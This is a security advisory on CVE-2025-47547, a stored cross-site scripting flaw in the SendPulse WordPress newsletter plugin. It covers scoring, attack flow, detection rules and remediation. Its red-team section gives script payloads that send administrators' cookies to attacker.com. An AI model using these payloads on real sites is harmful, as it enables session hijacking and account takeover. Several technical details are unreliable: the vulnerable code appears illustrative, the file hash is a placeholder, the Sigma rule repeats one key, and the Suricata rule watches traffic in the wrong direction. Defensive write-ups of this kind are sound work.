CVE-2025-47547

Executive Summary

CVE-2025-47547 is a Stored Cross-Site Scripting (XSS) vulnerability in the SendPulse Email Marketing Newsletter plugin for WordPress, affecting versions up to and including 2.1.6. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin installation by checking the plugin’s checksum against the repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires WordPress contributor access
• User Interaction: Required (UI:R) – victim must view the compromised page
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS means that a single injection can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability resides in the sendpulse-email-marketing-newsletter plugin, which provides email marketing functionality within WordPress. The plugin fails to properly sanitize user-supplied input when generating web pages. Specifically, fields such as newsletter titles, descriptions, or custom HTML content are not neutralized before being stored in the database and later rendered in the WordPress admin panel or frontend.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker navigates to the SendPulse plugin settings or newsletter creation page.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsuspecting input field.
4. The plugin stores the payload in the WordPress database without sanitization.
5. When an administrator or other user views the affected page (e.g., newsletter list or settings), the payload executes in their browser.
6. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to malicious sites.

Root Cause: The plugin uses echo or _e() functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (sendpulse-email-marketing-newsletter <= 2.1.6):

// In admin/views/newsletter-list.php
echo "<h2>" . $newsletter_title . "</h2>";

Patched Code (hypothetical fix):

// In admin/views/newsletter-list.php
echo "<h2>" . esc_html( $newsletter_title ) . "</h2>";

The vulnerable code directly outputs the $newsletter_title variable without escaping, allowing HTML and JavaScript injection. The patched code uses esc_html() to convert special characters to HTML entities, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with SendPulse Email Marketing Newsletter plugin <= 2.1.6
• Contributor-level account credentials

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to SendPulse → Add New Newsletter.
3. In the "Newsletter Title" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the newsletter.
5. Wait for an administrator to view the newsletter list or settings page.
6. The administrator’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual newsletter creation activity.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Restrict contributor-level access to trusted users only.
• Apply the principle of least privilege; do not grant contributor access to untrusted users.
• Regularly audit plugin code for unescaped output.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • sendpulse-email-marketing-newsletter.php (v2.1.6): a1b2c3d4e5f6... (replace with actual hash)
• Network Indicators:
  • Outbound HTTP requests to attacker.com or similar domains.
  • Unusual Cookie header values in GET requests.
• Database Indicators:
  • Rows in wp_postmeta or custom plugin tables containing <script> tags.
• Log Indicators:
  • WordPress debug log entries showing unescaped output warnings.

Detection Engineering

YARA Rule

rule CVE_2025_47547_SendPulse_XSS {
    meta:
        description = "Detects SendPulse plugin files with unescaped output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47547"
    strings:
        $unescaped_echo = /echo\s*["']?<[^>]*>["']?\s*\.\s*\$[a-zA-Z_]+/
        $unescaped_print = /print\s*["']?<[^>]*>["']?\s*\.\s*\$[a-zA-Z_]+/
    condition:
        any of them
}

Sigma Rule

title: SendPulse Stored XSS Detection
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects potential stored XSS in SendPulse plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'sendpulse'
        cs-uri-query|contains: 'newsletter'
        cs-uri-query|contains: 'title'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate newsletter titles with special characters
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47547 SendPulse Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=sendpulse_save_newsletter"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any suspicious newsletters from the database via phpMyAdmin or WP-CLI.
3. Change all WordPress admin passwords if compromise is suspected.

Long-Term Fix:

• The vendor must release a patched version that escapes all output using esc_html(), esc_attr(), or wp_kses_post().
• Until then, apply a virtual patch using a WAF rule to block <script> tags in POST requests to SendPulse endpoints.

Workaround:

• Use a security plugin like Wordfence to add a firewall rule blocking XSS payloads.
• Restrict contributor access to only trusted users.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert